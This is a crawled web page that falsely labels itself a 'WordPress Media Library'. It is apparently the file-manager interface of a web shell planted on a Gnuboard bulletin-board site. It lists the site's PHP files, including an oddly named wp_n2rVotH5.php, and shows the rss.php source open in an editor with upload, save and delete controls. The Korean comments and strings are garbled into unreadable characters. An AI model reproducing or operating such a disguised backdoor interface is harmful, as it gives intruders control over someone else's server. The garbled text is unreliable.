โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: rss.php
Size: 2.74 KB | Modified: 2020-08-17 02:33:15
<?php include_once('./_common.php'); // ํน์๋ฌธ์ ๋ณํ function specialchars_replace($str, $len=0) { if ($len) { $str = substr($str, 0, $len); } $str = str_replace(array("&", "<", ">"), array("&", "<", ">"), $str); /* $str = preg_replace("/&/", "&", $str); $str = preg_replace("/</", "<", $str); $str = preg_replace("/>/", ">", $str); */ return $str; } $sql = " select gr_id, bo_subject, bo_page_rows, bo_read_level, bo_use_rss_view from {$g5['board_table']} where bo_table = '$bo_table' "; $row = sql_fetch($sql); $subj2 = specialchars_replace($row['bo_subject'], 255); $lines = $row['bo_page_rows']; // ๋นํ์ ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํ ๊ฒ์ํ๋ง RSS ์ง์ if ($row['bo_read_level'] >= 2) { echo '๋นํ์ ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํ ๊ฒ์ํ๋ง RSS ์ง์ํฉ๋๋ค.'; exit; } // RSS ์ฌ์ฉ ์ฒดํฌ if (!$row['bo_use_rss_view']) { echo 'RSS ๋ณด๊ธฐ๊ฐ ๊ธ์ง๋์ด ์์ต๋๋ค.'; exit; } header('Content-type: text/xml'); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); $sql = " select gr_subject from {$g5['group_table']} where gr_id = '{$row['gr_id']}' "; $row = sql_fetch($sql); $subj1 = specialchars_replace($row['gr_subject'], 255); echo '<?xml version="1.0" encoding="utf-8" ?>'."\n"; ?> <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title><?php echo specialchars_replace($config['cf_title'].' > '.$subj1.' > '.$subj2); ?></title> <link><?php echo specialchars_replace(get_pretty_url($bo_table)); ?></link> <description>ํ ์คํธ ๋ฒ์ 0.2 (2004-04-26)</description> <language>ko</language> <?php $sql = " select wr_id, wr_subject, wr_content, wr_name, wr_datetime, wr_option from {$g5['write_prefix']}$bo_table where wr_is_comment = 0 and wr_option not like '%secret%' order by wr_num, wr_reply limit 0, $lines "; $result = sql_query($sql); for ($i=0; $row=sql_fetch_array($result); $i++) { $file = ''; if (strstr($row['wr_option'], 'html')) $html = 1; else $html = 0; ?> <item> <title><?php echo specialchars_replace($row['wr_subject']); ?></title> <link><?php echo specialchars_replace(get_pretty_url($bo_table, $row['wr_id'])); ?></link> <description><![CDATA[<?php echo $file ?><?php echo conv_content($row['wr_content'], $html) ?>]]></description> <dc:creator><?php echo specialchars_replace($row['wr_name']) ?></dc:creator> <?php $date = $row['wr_datetime']; // rss ๋ฆฌ๋ ์คํจ์ผ๋ก ํธ์ถํ๋ฉด ๋ ์ง๊ฐ ์ ๋๋ก ํ์๋์ง ์์ //$date = substr($date,0,10) . "T" . substr($date,11,8) . "+09:00"; $date = date('r', strtotime($date)); ?> <dc:date><?php echo $date ?></dc:date> </item> <?php } echo '</channel>'."\n"; echo '</rss>'."\n"; ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete